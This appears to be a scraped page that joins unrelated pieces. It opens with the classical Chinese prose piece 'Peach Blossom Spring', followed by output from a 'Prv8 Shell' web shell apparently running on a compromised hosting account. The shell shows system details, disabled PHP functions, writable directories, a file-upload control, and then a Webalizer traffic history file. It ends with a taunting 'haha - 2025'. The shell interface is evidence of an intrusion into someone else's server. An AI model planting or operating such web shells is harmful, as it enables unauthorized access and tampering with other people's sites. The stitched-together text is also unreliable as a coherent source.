晋太元中,武陵人捕鱼为业。缘溪行,忘路之远近。忽逢桃花林,夹岸数百步,中无杂树,芳草鲜美,落英缤纷。渔人甚异之,复前行,欲穷其林。   林尽水源,便得一山,山有小口,仿佛若有光。便舍船,从口入。初极狭,才通人。复行数十步,豁然开朗。土地平旷,屋舍俨然,有良田、美池、桑竹之属。阡陌交通,鸡犬相闻。其中往来种作,男女衣着,悉如外人。黄发垂髫,并怡然自乐。   见渔人,乃大惊,问所从来。具答之。便要还家,设酒杀鸡作食。村中闻有此人,咸来问讯。自云先世避秦时乱,率妻子邑人来此绝境,不复出焉,遂与外人间隔。问今是何世,乃不知有汉,无论魏晋。此人一一为具言所闻,皆叹惋。余人各复延至其家,皆出酒食。停数日,辞去。此中人语云:“不足为外人道也。”(间隔 一作:隔绝)   既出,得其船,便扶向路,处处志之。及郡下,诣太守,说如此。太守即遣人随其往,寻向所志,遂迷,不复得路。   南阳刘子骥,高尚士也,闻之,欣然规往。未果,寻病终。后遂无问津者。 .
Prv8 Shell
Server : Apache
System : Linux srv.rainic.com 4.18.0-553.47.1.el8_10.x86_64 #1 SMP Wed Apr 2 05:45:37 EDT 2025 x86_64
User : rainic ( 1014)
PHP Version : 7.4.33
Disable Function : exec,passthru,shell_exec,system
Directory :  /home/tabatabaei/tmp/webalizer/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //home/tabatabaei/tmp/webalizer/webalizer.hist
# Webalizer V2.23-08 History Data - 07/Jul/2025 12:25:14 (120 month)
7 2025 7580 4612 455 67682 1 7 1158 325
6 2025 36553 21672 1431 475469 1 30 5345 1094
5 2025 87927 44438 2093 1701543 1 31 13057 1603
4 2025 59874 42026 1881 836551 1 30 6451 963
3 2025 28218 20137 1350 304290 1 31 3682 610
2 2025 42410 33879 1667 425544 1 28 3646 637
1 2025 21041 18199 1990 179664 1 31 2288 706
12 2024 30139 26250 2841 247800 1 31 2640 602
11 2024 24714 21877 2004 165106 1 30 2133 506
10 2024 37905 33540 1425 193429 1 31 1724 476
9 2024 17235 11855 1453 235599 1 30 2541 469
8 2024 14755 11950 991 140194 18 31 1058 436
7 2024 15269 13540 1188 98892 1 30 1515 326
6 2024 17705 15542 2865 135034 2 30 983 259
5 2024 7089 3481 1288 58417 1 20 1373 415
4 2024 10146 5883 2738 87509 1 30 1623 662
3 2024 16332 10798 2073 166768 1 31 2836 896
2 2024 14483 7476 2369 146822 1 29 2086 723
1 2024 11091 6519 1531 112398 1 31 1616 615
12 2023 14313 7377 1678 102544 1 31 1726 629
11 2023 17160 12740 1820 115064 1 30 1245 570
10 2023 11275 4817 1552 94928 1 31 2035 731
9 2023 13578 11930 664 206478 1 30 5502 1258
8 2023 3062 2143 624 2637 1 31 2097 1403
7 2023 1987 1208 374 1634 24 31 1119 642
6 2023 0 0 0 0 0 0 0 0
5 2023 0 0 0 0 0 0 0 0
4 2023 0 0 0 0 0 0 0 0
3 2023 0 0 0 0 0 0 0 0
2 2023 0 0 0 0 0 0 0 0
1 2023 0 0 0 0 0 0 0 0
12 2022 0 0 0 0 0 0 0 0
11 2022 0 0 0 0 0 0 0 0
10 2022 0 0 0 0 0 0 0 0
9 2022 0 0 0 0 0 0 0 0
8 2022 0 0 0 0 0 0 0 0
7 2022 0 0 0 0 0 0 0 0
6 2022 0 0 0 0 0 0 0 0
5 2022 0 0 0 0 0 0 0 0
4 2022 0 0 0 0 0 0 0 0
3 2022 0 0 0 0 0 0 0 0
2 2022 0 0 0 0 0 0 0 0
1 2022 0 0 0 0 0 0 0 0
12 2021 0 0 0 0 0 0 0 0
11 2021 0 0 0 0 0 0 0 0
10 2021 0 0 0 0 0 0 0 0
9 2021 0 0 0 0 0 0 0 0
8 2021 0 0 0 0 0 0 0 0
7 2021 0 0 0 0 0 0 0 0
6 2021 0 0 0 0 0 0 0 0
5 2021 0 0 0 0 0 0 0 0
4 2021 0 0 0 0 0 0 0 0
3 2021 0 0 0 0 0 0 0 0
2 2021 0 0 0 0 0 0 0 0
1 2021 0 0 0 0 0 0 0 0
12 2020 0 0 0 0 0 0 0 0
11 2020 0 0 0 0 0 0 0 0
10 2020 0 0 0 0 0 0 0 0
9 2020 0 0 0 0 0 0 0 0
8 2020 0 0 0 0 0 0 0 0
7 2020 0 0 0 0 0 0 0 0
6 2020 0 0 0 0 0 0 0 0
5 2020 0 0 0 0 0 0 0 0
4 2020 0 0 0 0 0 0 0 0
3 2020 0 0 0 0 0 0 0 0
2 2020 0 0 0 0 0 0 0 0
1 2020 0 0 0 0 0 0 0 0
12 2019 0 0 0 0 0 0 0 0
11 2019 0 0 0 0 0 0 0 0
10 2019 0 0 0 0 0 0 0 0
9 2019 0 0 0 0 0 0 0 0
8 2019 0 0 0 0 0 0 0 0
7 2019 0 0 0 0 0 0 0 0
6 2019 0 0 0 0 0 0 0 0
5 2019 0 0 0 0 0 0 0 0
4 2019 0 0 0 0 0 0 0 0
3 2019 0 0 0 0 0 0 0 0
2 2019 0 0 0 0 0 0 0 0
1 2019 0 0 0 0 0 0 0 0
12 2018 0 0 0 0 0 0 0 0
11 2018 0 0 0 0 0 0 0 0
10 2018 0 0 0 0 0 0 0 0
9 2018 0 0 0 0 0 0 0 0
8 2018 0 0 0 0 0 0 0 0
7 2018 0 0 0 0 0 0 0 0
6 2018 0 0 0 0 0 0 0 0
5 2018 0 0 0 0 0 0 0 0
4 2018 0 0 0 0 0 0 0 0
3 2018 0 0 0 0 0 0 0 0
2 2018 0 0 0 0 0 0 0 0
1 2018 0 0 0 0 0 0 0 0
12 2017 0 0 0 0 0 0 0 0
11 2017 0 0 0 0 0 0 0 0
10 2017 0 0 0 0 0 0 0 0
9 2017 0 0 0 0 0 0 0 0
8 2017 0 0 0 0 0 0 0 0
7 2017 0 0 0 0 0 0 0 0
6 2017 0 0 0 0 0 0 0 0
5 2017 0 0 0 0 0 0 0 0
4 2017 0 0 0 0 0 0 0 0
3 2017 0 0 0 0 0 0 0 0
2 2017 0 0 0 0 0 0 0 0
1 2017 0 0 0 0 0 0 0 0
12 2016 0 0 0 0 0 0 0 0
11 2016 0 0 0 0 0 0 0 0
10 2016 0 0 0 0 0 0 0 0
9 2016 0 0 0 0 0 0 0 0
8 2016 0 0 0 0 0 0 0 0
7 2016 0 0 0 0 0 0 0 0
6 2016 0 0 0 0 0 0 0 0
5 2016 0 0 0 0 0 0 0 0
4 2016 0 0 0 0 0 0 0 0
3 2016 0 0 0 0 0 0 0 0
2 2016 0 0 0 0 0 0 0 0
1 2016 0 0 0 0 0 0 0 0
12 2015 0 0 0 0 0 0 0 0
11 2015 0 0 0 0 0 0 0 0
10 2015 0 0 0 0 0 0 0 0
9 2015 0 0 0 0 0 0 0 0
8 2015 0 0 0 0 0 0 0 0

haha - 2025